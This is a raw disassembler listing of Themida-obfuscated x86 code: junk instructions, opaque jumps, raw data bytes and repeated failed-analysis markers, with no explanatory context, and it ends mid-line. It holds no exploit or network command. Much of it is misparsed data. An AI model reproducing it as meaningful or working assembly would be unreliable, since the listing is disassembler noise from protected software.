======================================= sub_60EE7B proc near ; CODE XREF: Themida_:0060EE6Ep or edx, 40EA8403h pop esi mov bx, cx pusha cmc adc eax, 28D69FCDh popa jp loc_60EEB0 jle loc_60EEB0 jmp loc_60EEB0 ; --------------------------------------------------------------------------- db 4Eh dd 5D826738h, 76E6EFE0h, 0CFC1993h, 9392ABC2h ; --------------------------------------------------------------------------- loc_60EEB0: ; CODE XREF: sub_60EE7B+13j ; sub_60EE7B+19j ... movzx edx, si jmp loc_60EEBF ; --------------------------------------------------------------------------- dd 0B9931663h db 32h, 2Eh, 8Ah ; --------------------------------------------------------------------------- loc_60EEBF: ; CODE XREF: sub_60EE7B+38j pusha mov ax, 0BFE4h jp loc_60EECC mov bh, 0C3h loc_60EECC: ; CODE XREF: sub_60EE7B+49j popa pusha and ah, 7Ch and edi, 7D7D4C82h popa movzx eax, dx jmp loc_60EEF2 ; --------------------------------------------------------------------------- dd 0C4CC5B25h, 59B2641Ah, 78477916h, 0EA02B811h ; --------------------------------------------------------------------------- inc edx wait loc_60EEF2: ; CODE XREF: sub_60EE7B+60j push ecx pusha pusha popa mov esi, 6EB545FAh popa pop eax sub bx, 1D1h mov dx, si jmp loc_60EF12 ; --------------------------------------------------------------------------- jb short loc_60EF63 lds ebx, [ebx+40921B5h] loc_60EF12: ; CODE XREF: sub_60EE7B+8Aj mov dl, 0Bh push esi jmp loc_60EF22 ; --------------------------------------------------------------------------- dw 0C03h dd 6DC96EBBh db 0DBh, 65h ; --------------------------------------------------------------------------- loc_60EF22: ; CODE XREF: sub_60EE7B+9Aj pop eax call sub_60EF2F wait cmp [edx-72B5BE37h], ch sub_60EE7B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_60EF2F proc near ; CODE XREF: sub_60EE7B+A8p mov dx, 0E408h pop esi jbe loc_60EF5A pusha jmp loc_60EF53 ; --------------------------------------------------------------------------- dd 430F7D37h, 7BC23C41h, 10F0BEFh, 0E17498AFh db 4Dh, 77h, 9Bh ; --------------------------------------------------------------------------- loc_60EF53: ; CODE XREF: sub_60EF2F+Cj jz $+6 popa loc_60EF5A: ; CODE XREF: sub_60EF2F+5j call near ptr loc_60EF63+1 add dl, dl mov edx, [ecx] loc_60EF63: ; CODE XREF: sub_60EE7B+8Fj ; sub_60EF2F:loc_60EF5Ap mov [edi], ecx sub_60EF2F endp ; sp-analysis failed mov edi, 25B65FF8h mov si, di jle loc_60EF8D call sub_60EF89 xchg eax, edx ; --------------------------------------------------------------------------- db 0FEh, 3Ah, 8Ah dd 0F2FD2E4Fh, 74501B60h, 0A15D9DB9h db 0F3h ; =============== S U B R O U T I N E ======================================= sub_60EF89 proc near ; CODE XREF: Themida_:0060EF73p xor bh, 68h pop esi loc_60EF8D: ; CODE XREF: Themida_:0060EF6Dj stc sub edi, 3FE9438h jmp loc_60EFAC ; --------------------------------------------------------------------------- db 0EEh, 84h, 0D5h dd 0BD181080h, 39CD7813h, 67A3BA6Bh, 6BAB2107h ; --------------------------------------------------------------------------- loc_60EFAC: ; CODE XREF: sub_60EF89+Bj add dh, 2Fh jmp loc_60EFBE ; --------------------------------------------------------------------------- dd 234BFCBEh, 7FF60C50h db 0A9h, 18h ; --------------------------------------------------------------------------- loc_60EFBE: ; CODE XREF: sub_60EF89+26j mov bx, si jmp loc_60EFD1 ; --------------------------------------------------------------------------- dw 61D3h dd 5C901BA0h, 5370A497h db 0BAh ; --------------------------------------------------------------------------- loc_60EFD1: ; CODE XREF: sub_60EF89+38j mov esi, 7A2D582Fh jle loc_60EFE1 add si, 3CCFh loc_60EFE1: ; CODE XREF: sub_60EF89+4Dj mov si, 0C4BBh jp loc_60EFEF mov dx, 0C8CAh loc_60EFEF: ; CODE XREF: sub_60EF89+5Cj stc call near ptr sub_60F007 iret sub_60EF89 endp ; sp-analysis failed ; --------------------------------------------------------------------------- sbb [eax+3Eh], esi retn 0AAF5h ; --------------------------------------------------------------------------- dd 70F6A704h, 64287B95h db 0C8h, 45h, 0A4h ; =============== S U B R O U T I N E ======================================= sub_60F007 proc far ; CODE XREF: sub_60EF89+67p mov ecx, edx pop ebx and eax, 55100482h mov eax, 40E5B9F8h clc sub dl, 9Dh jb loc_60F02D jmp loc_60F02D ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 0D8h, 0F8h, 0Ah dd 881DDDF6h db 6Dh ; --------------------------------------------------------------------------- loc_60F02D: ; CODE XREF: sub_60F007+12j ; sub_60F007+18j or bx, 0E301h jmp loc_60F049 ; --------------------------------------------------------------------------- db 9Fh dd 0AEC1328Ah, 0D25BA30Eh, 0A6B58ECAh, 64CDE575h ; --------------------------------------------------------------------------- pop ds loc_60F049: ; CODE XREF: sub_60F007+2Bj sbb cl, 53h clc call sub_60F05A mov bh, 9 retn 9A06h sub_60F007 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 2Dh ; --------------------------------------------------------------------------- aad 3Fh ; =============== S U B R O U T I N E ======================================= sub_60F05A proc near ; CODE XREF: sub_60F007+46p mov ebx, eax pop edx jmp loc_60F06D ; --------------------------------------------------------------------------- dw 0C103h dd 0AFC6F8Dh, 2129C9C2h db 35h ; --------------------------------------------------------------------------- loc_60F06D: ; CODE XREF: sub_60F05A+3j and bx, 0DCADh push edx mov bx, 4D13h pop edx mov al, 77h mov dx, 0AEE8h push eax mov di, 3F7h pop ecx jl loc_60F08B stc loc_60F08B: ; CODE XREF: sub_60F05A+2Aj call sub_60F09F les ebx, [eax+6AD4CE73h] push ebp add eax, 1731A2C7h adc bh, [eax+32h] sub_60F05A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_60F09F proc near ; CODE XREF: sub_60F05A:loc_60F08Bp or dx, 34E6h pop edx or si, 3E7Ch mov al, 0E5h movzx edi, ax mov ebx, edx jmp loc_60F0C0 ; --------------------------------------------------------------------------- cdq dec eax push ecx xor [ebx+eax*2-3Ch], esp and ebx, [ebx+52h] loc_60F0C0: ; CODE XREF: sub_60F09F+12j mov ah, 37h call sub_60F0CF fistp word ptr [ecx+690D7A12h] in eax, 89h ; DMA page register 74LS612: sub_60F09F endp ; sp-analysis failed ; Channel 6 (address bits 17-23) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_60F0CF proc near ; CODE XREF: sub_60F09F+23p jmp sub_60F0E2 sub_60F0CF endp ; --------------------------------------------------------------------------- dd 1959FF0Fh, 67785D0Ah, 0F7D77642h ; --------------------------------------------------------------------------- xchg eax, edx inc edi ; =============== S U B R O U T I N E ======================================= sub_60F0E2 proc near ; CODE XREF: sub_60F0CFj pop ebx add ah, 3Dh mov dx, bx mov dx, 7F19h call near ptr loc_60F0F7+5 js short near ptr loc_60F132+1 add dh, bh push edi loc_60F0F7: ; CODE XREF: sub_60F0E2+Bp xor ds:5A26D940h, ah sub_60F0E2 endp ; sp-analysis failed jmp loc_60F108 ; --------------------------------------------------------------------------- and [ebp-23h], ebx xor cl, [edx-30h] loc_60F108: ; CODE XREF: Themida_:0060F0FDj movzx esi, si mov ecx, eax mov edi, ecx mov cl, 3Ch jb loc_60F11A movzx eax, ax loc_60F11A: ; CODE XREF: Themida_:0060F111j movzx edx, cx or dh, 0Dh jmp loc_60F12E ; --------------------------------------------------------------------------- lodsb cmp ds:119882D8h, ah pop eax pop ds loc_60F12E: ; CODE XREF: Themida_:0060F120j mov bx, 406Eh loc_60F132: ; CODE XREF: sub_60F0E2+10j jl loc_60F139 stc loc_60F139: ; CODE XREF: Themida_:loc_60F132j push ebx mov edi, esi pop esi movsx esi, ax ja $+6 adc si, 0A1FEh cld xor bx, 0B4C2h cmc jmp loc_60F15F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_60F196 loc_60F157: ; CODE XREF: sub_60F196+Dj hlt ; END OF FUNCTION CHUNK FOR sub_60F196 ; --------------------------------------------------------------------------- sub eax, 0D511BFBFh mov esp, edx loc_60F15F: ; CODE XREF: Themida_:0060F152j mov dx, 0A1BDh and ax, 5BB0h jmp loc_60F181 ; --------------------------------------------------------------------------- test dl, ah sbb [ecx+75h], dh push esi xor al, 0FCh sbb [edi+11DDA27Bh], edx imul edx, [edx], 64h sub ch, [esi+4Ah] loc_60F181: ; CODE XREF: Themida_:0060F168j sbb bx, 0D56Ch call sub_60F196 imul ecx, [eax], 7C0449E6h ; CODE XREF: Themida_:0060F194j sahf cdq inc ebx jmp short near ptr loc_60F18B+5 ; =============== S U B R O U T I N E ======================================= sub_60F196 proc near ; CODE XREF: Themida_:0060F186p ; FUNCTION CHUNK AT 0060F157 SIZE 00000001 BYTES mov edi, esi pop eax call near ptr loc_60F1AC+2 lds eax, [edi] scasd push cs xchg eax, edx js short loc_60F157 add eax, 544DECBEh rcl edi, 1 loc_60F1AC: ; CODE XREF: sub_60F196+3p call near ptr 4E4FAA1Bh sub_60F196 endp ; sp-analysis failed push eax cmp [ecx-7Fh], bl sar dword ptr [edx-6F06FA9h], 66h mov esi, 0BF0F0E69h iret ; --------------------------------------------------------------------------- dw 8166h dd 0FC1FDDDAh, 0AFA2B866h, 1F24CDB9h, 0DA8B6664h, 8160D9B0h dd 4C7D54DAh, 0A8D6BF6Eh, 0E861699Ah, 0Eh, 86E03E1Eh, 0B304C6FEh dd 8EBADCD3h, 0BA665E25h, 815EE751h, 3635E1F6h, 0BF0F5149h dd 63BF5BD7h, 810B6FFDh, 10D6CAC7h, 0CE81667Eh, 0A2B69DB9h dd 5FE9B357h, 13E9h, 9D6E0700h, 0B0D6686Ch, 2C98B75Ch dd 0DDF5872Dh, 1E05529Ah, 0BF0FCB8Bh, 9E9F3h, 3B320000h dd 6BD222D7h, 0F38A3E5h, 284h, 0E9DC8A00h, 9, 88A170A2h dd 0A5BC99E1h, 8C0FF986h, 10h, 8E8h, 0B1BB1500h, 0D50D2E9Fh dd 5E5F529Fh, 0BA66CEB5h, 0BF0F308Ch, 6E9F6h, 0BF300000h dd 99CF0D58h, 7CA66BBEh, 8166606Dh, 8142A5E1h, 1EFC78CBh dd 7E96118h, 14000000h, 28764B5h, 0D18BFB6Fh, 88CF8166h dd 0CE993h, 32220000h, 34B5E429h, 198CD795h, 16BA86C7h dd 0E81ABB1Eh, 5, 0B87F7F1Ch, 0C08166F0h, 815F79F9h, 0CE3B6BE6h dd 0D38B662Eh, 0FFBBF0Fh, 0BE9F7B7h, 2C000000h, 0E68870F3h dd 0D2B3D5C9h, 9E9F932h, 0B9000000h, 949DA60Dh, 22F9C858h dd 0B2CE8B66h, 11840FCCh, 0E9000000h, 0Ch, 4A1EEDF3h, 0BFE176D4h dd 0A397B143h, 0DE8h, 0C429D200h, 1D4C94A1h, 0FB3214E1h dd 0DF815EADh, 7BE12C04h, 7EE1805Bh, 7E8h, 3604A00h, 0BBD3208Bh dd 462AF181h, 0E95F630Dh, 6, 34269065h, 8F0F9A0Ch, 5, 0C1DF8166h dd 0F1816605h, 0DE9C146h, 0D1000000h, 0DD7E1DE3h, 0C5293515h dd 33086C3Dh, 0CE8h, 584EDC00h, 297CA5B2h, 7D92055Eh, 0C6BF0F3Ch dd 76DE815Ah, 664551DDh, 8E88F281h, 0FE8h, 61B60F00h, 99ECAA2Dh dd 0D5A8F051h, 37A2C50Ch, 0BE5FC28Bh, 29E9E259h, 0F8F5C88Bh dd 0B81AC680h, 668FD38Ah, 0BBF8DF8Bh, 6C6B82FAh, 92B45A53h dd 890FFB8Bh, 0 ; --------------------------------------------------------------------------- sbb eax, 239012F1h mov ah, 0F4h jmp loc_60F3EA ; --------------------------------------------------------------------------- db 59h, 50h, 22h ; --------------------------------------------------------------------------- test [edi-762A806Eh], ebx loc_60F3EA: ; CODE XREF: Themida_:0060F3DCj mov edx, esi cmc mov bx, si jmp loc_60F407 ; --------------------------------------------------------------------------- db 7, 97h, 0A9h dd 7A6A53A0h, 0D01A9835h, 0DC9A5FECh db 0B3h, 4Bh, 8 ; --------------------------------------------------------------------------- loc_60F407: ; CODE XREF: Themida_:0060F3F0j mov ecx, edx loc_60F409: ; CODE XREF: Themida_:0060F47Fj adc bx, 97CAh jg loc_60F41C jb loc_60F41C push esi pop esi loc_60F41C: ; CODE XREF: Themida_:0060F40Ej ; Themida_:0060F414j sub ebx, 4A8499A3h movsx eax, ax movzx ebx, si push eax sbb ch, 3Bh pop edi movsx ebx, bx call near ptr loc_60F435+6 loc_60F435: ; CODE XREF: Themida_:0060F430p imul eax, [edx+0A64F239h], 5Eh jo loc_60F445 mov ax, cx loc_60F445: ; CODE XREF: Themida_:0060F43Cj jmp loc_60F45D ; --------------------------------------------------------------------------- dw 0F7B4h dd 8E6C7B49h, 47B4AE07h, 0C0E4BECDh, 0A24E86B0h db 0B2h ; --------------------------------------------------------------------------- loc_60F45D: ; CODE XREF: Themida_:loc_60F445j jmp loc_60F467 ; --------------------------------------------------------------------------- mov bh, 4Ch setalc dec esp cmpsd loc_60F467: ; CODE XREF: Themida_:loc_60F45Dj jmp loc_60F476 ; --------------------------------------------------------------------------- dd 0EC4E88E8h, 0BC0D1FBDh db 0D9h, 9Ah ; --------------------------------------------------------------------------- loc_60F476: ; CODE XREF: Themida_:loc_60F467j movsx eax, si jmp loc_60F484 ; --------------------------------------------------------------------------- pusha loopne loc_60F409 test bl, 0Fh loc_60F484: ; CODE XREF: Themida_:0060F479j stc mov cx, dx mov edx, edi sbb bl, 78h or cx, 206Dh pusha push esi mov di, 0A0E6h pop ecx push esi mov bl, 0CAh pop ebx popa sub bl, 97h adc bx, 57A2h pusha mov esi, ebx sbb esi, 746AC72Ch popa pusha mov eax, 0AADA43h popa jle loc_60F4D1 jmp loc_60F4D1 ; --------------------------------------------------------------------------- dw 7356h db 0CCh db 7Ch, 86h, 52h dd 5D5C7659h, 0F4FE446Ah db 8Eh ; --------------------------------------------------------------------------- loc_60F4D1: ; CODE XREF: Themida_:0060F4B7j ; Themida_:0060F4BDj mov bx, cx push esi pusha mov eax, 6240F4Ah sub eax, 4D3967C2h popa pop edx call near ptr loc_60F4EE+2 cld push cs and [esp+ecx-2Eh], ebp loc_60F4EE: ; CODE XREF: Themida_:0060F4E3p and eax, 10E9AAh ; --------------------------------------------------------------------------- db 0 dd 235D9700h, 0B61EC182h, 22966262h, 63D26A1Bh, 0B75658A6h dd 8E95A43h, 4C000000h, 3B14F8A2h, 0F7BCAE1h, 8Fh, 3890F00h dd 0F000000h, 850FD1BFh, 5, 0D1E68166h, 12E889h, 9B630000h dd 238AE67Bh, 35B99C41h, 0E5A2B325h, 3AEE7C74h, 331ABE66h dd 80E3B35Fh, 9E9F4C3h, 66000000h, 57C7203Fh, 40701B40h dd 13E8h, 83F2DE00h, 1CABB452h, 0FC8E73D8h, 2307493Bh dd 0AAA640ECh, 0C8F0Fh, 7E90000h, 9F000000h, 4B727FF9h dd 0B95E6889h, 6D95BC0Bh, 0EE9h, 0DCA04C00h, 9130C3F1h dd 73A4F8D2h, 60E1089Ah, 870F60h, 52000000h, 8B0F615Fh dd 12h, 0CE8h, 0D7ECD00h, 3CE71B25h, 9E8AE308h, 0F61595Fh dd 168Bh, 11E900h, 1AB10000h, 64826CCFh, 86CADAh, 3610FE48h dd 0E94E526Dh, 10h, 7C4AB636h, 2F93EC64h, 3764654Dh, 13836943h dd 66FB8B66h, 10E9C28Bh, 0A0000000h, 0BF7080F5h, 793A498h dd 72424B9Dh, 8B9ABA10h, 20BE66F2h, 5E89Fh, 0E8100000h dd 60DA75EDh, 58616160h, 14E8h, 0BC5CC700h, 0B7EA599Eh dd 2B15B3C6h, 0F7B93E09h, 0C8A42F34h, 0CE905h, 177E0000h dd 72591679h, 0B6D1C595h, 0F5E1E43h, 0F58AD8B7h, 78D88166h dd 0B70FF94Fh, 3800FCEh, 80000000h, 0BA6617E0h, 0BE667345h dd 0F18BA36Ah, 0DE9F8h, 0C0E00000h, 513411DCh, 89F59B05h dd 8154BAE2h, 0F80B55E7h, 0F2816029h, 3E1F4883h, 0C2D5B966h dd 0B70F6061h, 5E8F7h, 0F23E0000h, 0F7DE923h, 615ACFBFh dd 2830Fh, 38B30000h, 0AE9h, 60BCBE00h, 0A78ECC45h, 606E4890h dd 0CE953h, 21FF0000h, 2E0C2833h, 64E8813Ch, 8B5A2A88h dd 0AE861FEh, 0C0000000h, 2BD81EBh, 0D5602C7Dh, 0C28B6614h dd 8DC0815Ah, 0BB434D91h, 64F8B963h, 0FC28B66h, 81h, 880F6000h dd 2, 34B368B0h, 0DA8B6661h, 15810Fh, 10E90000h, 48000000h dd 30EB0133h, 0EF95BCE9h, 0E27FE905h, 66D36B60h, 0BF0FDF8Bh dd 981EBBFEh, 0CB8B7838h, 8E8h, 65698D00h, 52FFC2D8h, 840F53B8h dd 0 ; --------------------------------------------------------------------------- pop ebx pop edx jmp loc_60F758 ; --------------------------------------------------------------------------- db 0CDh dd 0F6A0E641h ; --------------------------------------------------------------------------- loc_60F758: ; CODE XREF: Themida_:0060F74Ej jmp loc_60F76A ; --------------------------------------------------------------------------- db 0A4h, 73h, 9Ah ; --------------------------------------------------------------------------- or cl, ah sbb edx, eax jbe short loc_60F7BD sub [edi+62h], edx stc loc_60F76A: ; CODE XREF: Themida_:loc_60F758j call near ptr loc_60F77B+3 std xchg dh, [ecx] mov bl, 0Eh into mov ds:0C4176339h, edx loc_60F77B: ; CODE XREF: Themida_:loc_60F76Ap xchg esp, [edx-7499A48Fh] retn 0BF0Fh ; --------------------------------------------------------------------------- icebp jmp loc_60F79C ; --------------------------------------------------------------------------- xor al, 0DDh retn ; --------------------------------------------------------------------------- cld push ds dec ebx aad 4Dh and esi, [edx+32717F0Eh] setalc fidiv dword ptr [eax+eax] loc_60F79C: ; CODE XREF: Themida_:0060F785j sbb ecx, 5ECDC7A3h sub esi, 6D85D05Fh call near ptr loc_60F7B3+3 ror byte ptr ds:0CE7E1C51h, cl loc_60F7B3: ; CODE XREF: Themida_:0060F7A8p cmp [esi+58B0F1Bh], esi ; --------------------------------------------------------------------------- db 3 dup(0) db 0B9h ; --------------------------------------------------------------------------- loc_60F7BD: ; CODE XREF: Themida_:0060F764j cmp [eax], edx jl short near ptr loc_60F7E8+1 pop esi mov bx, 1852h call sub_60F7DE mov ch, [ebx+493D509Ah] rcr dword ptr [ebx+24728E31h], 0B2h sbb [ebp+5A324D2Ah], edi ; =============== S U B R O U T I N E ======================================= sub_60F7DE proc near ; CODE XREF: Themida_:0060F7C6p mov esi, edx pop eax push esi jz loc_60F7EE loc_60F7E8: ; CODE XREF: Themida_:0060F7BFj or ecx, 12E7D3A1h loc_60F7EE: ; CODE XREF: sub_60F7DE+4j pop edi mov edx, 7088312Bh movzx eax, ax mov al, dl mov bx, 0DB9Dh jnb loc_60F80C jg loc_60F80C and dh, 1Bh loc_60F80C: ; CODE XREF: sub_60F7DE+1Fj ; sub_60F7DE+25j mov edi, ecx jb loc_60F82A jmp loc_60F82A ; --------------------------------------------------------------------------- cmp ch, al push es sbb ecx, [esi+129E67B4h] stc mov ah, 8 dec ebx cmovno edx, eax lodsd loc_60F82A: ; CODE XREF: sub_60F7DE+30j ; sub_60F7DE+36j mov cx, ax pusha mov dh, 0E9h push eax and cx, 24F8h pop edi popa jo loc_60F841 and bh, 14h loc_60F841: ; CODE XREF: sub_60F7DE+5Aj add ebx, 649A563Dh clc add dx, 0DC55h sbb bx, 3D78h sub si, 3950h jz loc_60F85F mov dh, bl loc_60F85F: ; CODE XREF: sub_60F7DE+79j xor al, 1Eh cld or ebx, 5F6039C2h call sub_60F874 aad 0DBh int 8Ah ; used by BASIC while in interpreter fsub dword ptr [ecx] sub_60F7DE endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_60F874 proc near ; CODE XREF: sub_60F7DE+8Bp call sub_60F886 or eax, 2EBDB55Fh add edi, [ecx-56h] jo short near ptr loc_60F8B7+5 lock inc eax cli sub_60F874 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_60F886 proc near ; CODE XREF: sub_60F874p mov bh, ch pop edi pop eax pusha pusha mov edi, edx mov esi, 0D4864C1h popa mov bx, 93F7h popa mov dl, ah js loc_60F8AD jle loc_60F8AD jnz $+6 loc_60F8AD: ; CODE XREF: sub_60F886+15j ; sub_60F886+1Bj jo loc_60F8B6 movsx eax, di loc_60F8B6: ; CODE XREF: sub_60F886:loc_60F8ADj pusha loc_60F8B7: ; CODE XREF: sub_60F874+Dj add ebx, 3B032CD4h mov ebx, 44CEEAC6h popa mov bh, 11h js loc_60F8D0 push esi or cl, 2Bh pop ebx loc_60F8D0: ; CODE XREF: sub_60F886+3Fj movzx ecx, ax mov cx, ax xor dl, 7Dh xor eax, 213A3D94h or dl, 0D7h jp loc_60F8EB movzx esi, di loc_60F8EB: ; CODE XREF: sub_60F886+5Cj jns loc_60F8F2 cld loc_60F8F2: ; CODE XREF: sub_60F886:loc_60F8EBj ; sub_60F886+DCj and eax, 0A9521A0h push edx adc esi, 3551088Ch pop ecx stc sub eax, 7FE10209h jg $+6 mov ecx, 63C70235h cld jmp loc_60F91E ; --------------------------------------------------------------------------- dd 92E761B0h db 17h, 7Dh ; --------------------------------------------------------------------------- loc_60F91E: ; CODE XREF: sub_60F886+8Dj movzx edi, ax or cx, 0E6Eh jmp loc_60F934 ; --------------------------------------------------------------------------- db 47h dd 0C9373A1Dh, 6BE22074h ; --------------------------------------------------------------------------- loc_60F934: ; CODE XREF: sub_60F886+A0j jmp loc_60F94D ; --------------------------------------------------------------------------- db 0C8h, 96h, 0E8h dd 6BD9DF23h, 847BE11Ah, 727A2980h, 0B9329278h db 73h ; --------------------------------------------------------------------------- loc_60F94D: ; CODE XREF: sub_60F886:loc_60F934j or eax, 0B53FF53h cmc or cx, 0BEC5h mov ax, dx call near ptr loc_60F964+2 in al, dx jg short near ptr loc_60F8F2+1 loc_60F964: ; CODE XREF: sub_60F886+D6p bound eax, [ecx-75h] sub_60F886 endp ; sp-analysis failed lock pop edi push ecx or di, 0C3BEh pop edx pusha mov dx, 5FE5h jmp loc_60F984 ; --------------------------------------------------------------------------- db 90h ; --------------------------------------------------------------------------- inc esi pop es push esi setalc mov [ebp+21h], di inc ecx loc_60F984: ; CODE XREF: Themida_:0060F975j popa stc sub al, 0F0h xor di, 578Bh cld jns loc_60F997 mov bh, 9Fh loc_60F997: ; CODE XREF: Themida_:0060F98Fj mov si, 10C5h mov edx, ebx jmp loc_60F9B1 ; --------------------------------------------------------------------------- dw 3123h dd 9498CF06h, 6CD88F55h, 182F78D5h db 0C2h ; --------------------------------------------------------------------------- loc_60F9B1: ; CODE XREF: Themida_:0060F99Dj jmp loc_60F9C2 ; --------------------------------------------------------------------------- dw 788h dd 0C51083F8h, 0D91AF36Eh db 98h, 6Eh ; --------------------------------------------------------------------------- loc_60F9C2: ; CODE XREF: Themida_:loc_60F9B1j and al, 19h and eax, 3CF168CEh jmp loc_60F9DD ; --------------------------------------------------------------------------- ror byte ptr [edx+76h], 1 dec edi pop edx adc al, 5Dh xchg eax, edx and eax, 2FBD3C6Ah loc_60F9DD: ; CODE XREF: Themida_:0060F9CBj mov edi, esi mov si, 0FC79h clc mov si, 638Ah mov ah, dl jle loc_60FA05 jmp loc_60FA05 ; --------------------------------------------------------------------------- db 0ACh, 91h, 0D6h dd 0D0BBEEBFh, 6F1C7007h, 8B887B35h db 77h ; --------------------------------------------------------------------------- loc_60FA05: ; CODE XREF: Themida_:0060F9EAj ; Themida_:0060F9F0j mov di, 0AEA2h movzx ecx, cx push edx jmp loc_60FA1B ; --------------------------------------------------------------------------- dw 6F55h dd 53575014h db 73h, 9Bh, 0ABh ; --------------------------------------------------------------------------- loc_60FA1B: ; CODE XREF: Themida_:0060FA0Dj pop eax movzx ecx, di mov ah, ch and bl, 0A1h push esi cmc pop esi pusha xor cl, 73h popa mov cl, dl cmc movsx edi, bx stc jnp loc_60FA3B mov dl, 0B6h loc_60FA3B: ; CODE XREF: Themida_:0060FA33j mov al, dh adc edi, 15FF95D2h mov si, cx mov ax, 59EAh mov si, cx jge $+6 mov dx, 2523h jp $+6 mov dx, 2DD7h mov cx, 413h pusha jo loc_60FA82 jmp loc_60FA82 ; --------------------------------------------------------------------------- db 2Bh, 26h, 0ADh dd 0C9ABEF1Bh, 3D768860h, 176D8D1Fh db 5Eh, 2Bh ; --------------------------------------------------------------------------- loc_60FA82: ; CODE XREF: Themida_:0060FA66j ; Themida_:0060FA6Cj popa cld push eax mov ax, bx pop ecx push edi mov eax, 0C85E3A8h pop eax xor si, 0C41Fh push eax jb loc_60FAA2 ja $+6 loc_60FAA2: ; CODE XREF: Themida_:0060FA96j pop edi jnz $+6 call near ptr loc_60FABD+2 sub [edi], ch enter 7C26h, 0A0h lodsb db 64h pop esp sub edx, [esi+4C9FDFB9h] loc_60FABD: ; CODE XREF: Themida_:0060FAA9p mov esi, 90F08055h pop ebx jmp loc_60FAD9 ; --------------------------------------------------------------------------- dd 1377B5B9h, 0CFCF13FAh, 0AE1265CBh, 0C48D54D9h db 0C5h ; --------------------------------------------------------------------------- loc_60FAD9: ; CODE XREF: Themida_:0060FAC3j pusha cld popa jnp loc_60FAEA push edx jno $+6 pop ecx loc_60FAEA: ; CODE XREF: Themida_:0060FADCj mov di, 452Dh mov si, 0ED00h mov ah, 63h jge loc_60FAFB stc loc_60FAFB: ; CODE XREF: Themida_:0060FAF4j or eax, 22AF4924h xor al, 8Ah mov cx, 2110h mov eax, ebx adc ah, 0DEh pusha mov ax, bx jmp loc_60FB1D ; --------------------------------------------------------------------------- dw 0C365h dd 0C17A5E04h ; --------------------------------------------------------------------------- cmpsb loc_60FB1D: ; CODE XREF: Themida_:0060FB11j popa mov ch, 80h stc xor si, 3FD6h mov bx, dx mov ch, bl xor ch, 74h jmp loc_60FB40 ; --------------------------------------------------------------------------- db 97h dd 19B5A3D0h, 0B4EA17Eh, 8E74BFBCh ; --------------------------------------------------------------------------- loc_60FB40: ; CODE XREF: Themida_:0060FB2Ej jmp loc_60FB50 ; --------------------------------------------------------------------------- db 0F8h, 98h, 47h dd 0AAC11651h, 25E51D28h ; --------------------------------------------------------------------------- loc_60FB50: ; CODE XREF: Themida_:loc_60FB40j jmp loc_60FB64 ; --------------------------------------------------------------------------- db 0ABh, 4Ah, 0DFh dd 3B9966E6h, 0ADC4B5F4h, 2F4EDD01h ; --------------------------------------------------------------------------- loc_60FB64: ; CODE XREF: Themida_:loc_60FB50j mov dx, 0E8DCh adc bh, 44h mov bl, 0B6h mov ch, 0BBh mov bl, al pusha mov si, 0E38Ch jmp loc_60FB81 ; --------------------------------------------------------------------------- db 0F0h ; --------------------------------------------------------------------------- pop eax xor al, 0Eh or [ebx], ebx loc_60FB81: ; CODE XREF: Themida_:0060FB76j popa mov al, 0FEh jp loc_60FB8D and bh, 66h loc_60FB8D: ; CODE XREF: Themida_:0060FB84j mov cx, si jmp loc_60FB9E ; --------------------------------------------------------------------------- db 0DEh, 98h, 7Dh dd 58A85DFAh db 0FCh, 0DDh ; --------------------------------------------------------------------------- loc_60FB9E: ; CODE XREF: Themida_:0060FB90j cld jmp loc_60FBAD ; --------------------------------------------------------------------------- dd 0EF0C7728h, 357B6012h db 0BFh ; --------------------------------------------------------------------------- loc_60FBAD: ; CODE XREF: Themida_:0060FB9Fj cmc adc si, 2961h jz loc_60FBC4 jmp loc_60FBC4 ; --------------------------------------------------------------------------- dw 40DCh dd 0B2DDDD36h ; --------------------------------------------------------------------------- loc_60FBC4: ; CODE XREF: Themida_:0060FBB3j ; Themida_:0060FBB9j jmp loc_60FBD0 ; --------------------------------------------------------------------------- db 56h, 0ABh, 0A6h dd 0D8ECFB13h ; --------------------------------------------------------------------------- loc_60FBD0: ; CODE XREF: Themida_:loc_60FBC4j cmc xor ax, 591Eh ja $+6 add edi, 27896772h jz loc_60FC01 jmp loc_60FC01 ; --------------------------------------------------------------------------- xchg eax, ebp mov al, 5 xor al, 0A5h mov ds, word ptr [esi-24h] push edi aas jmp short loc_60FC5F ; --------------------------------------------------------------------------- db 0F4h, 36h, 0D9h ; --------------------------------------------------------------------------- mov word ptr [ebx+35h], ds lahf inc edx loc_60FC01: ; CODE XREF: Themida_:0060FBE2j ; Themida_:0060FBE8j mov bl, 0DEh add edi, 2540490Fh adc ax, 12EDh jbe loc_60FC18 mov dx, 0F939h loc_60FC18: ; CODE XREF: Themida_:0060FC0Ej jnz loc_60FC22 push eax mov ah, 98h pop eax loc_60FC22: ; CODE XREF: Themida_:loc_60FC18j adc cx, 0CC71h mov edi, 70F562B6h jmp loc_60FC43 ; --------------------------------------------------------------------------- db 0DDh, 0A2h, 1Fh ; --------------------------------------------------------------------------- fcomp dword ptr [esi-1BF63E19h] xchg eax, ebp inc edi les esi, [edi] and ebx, [eax+edx*4] pop ss loc_60FC43: ; CODE XREF: Themida_:0060FC2Cj add ebx, 734136B5h mov bh, dl mov ax, 0A742h pusha add cx, 1561h mov ax, bx popa pusha call near ptr loc_60FC64+1 loc_60FC5F: ; CODE XREF: Themida_:0060FBF7j or [ebp+edi-5Bh], edx std loc_60FC64: ; CODE XREF: Themida_:0060FC5Ap ; Themida_:0060FC9Bj ja short loc_60FC75 mov word ptr [eax], es ; --------------------------------------------------------------------------- dd 59000000h, 14E961h, 0C6B40000h db 0E2h ; --------------------------------------------------------------------------- loc_60FC75: ; CODE XREF: Themida_:loc_60FC64j mov eax, ds:0DF62F50Ah into mov ah, ah sbb al, [edi+edx*4] mov esp, 98DBFA0Bh rol byte ptr [eax-26759439h], 1 movsx ecx, si jl loc_60FCA9 call near ptr loc_60FC9E+4 inc ecx dec edi jg short near ptr loc_60FC64+1 push ss loc_60FC9E: ; CODE XREF: Themida_:0060FC94p call far ptr 7FF3h:812F59DDh stc add bl, [edx] pop esi loc_60FCA9: ; CODE XREF: 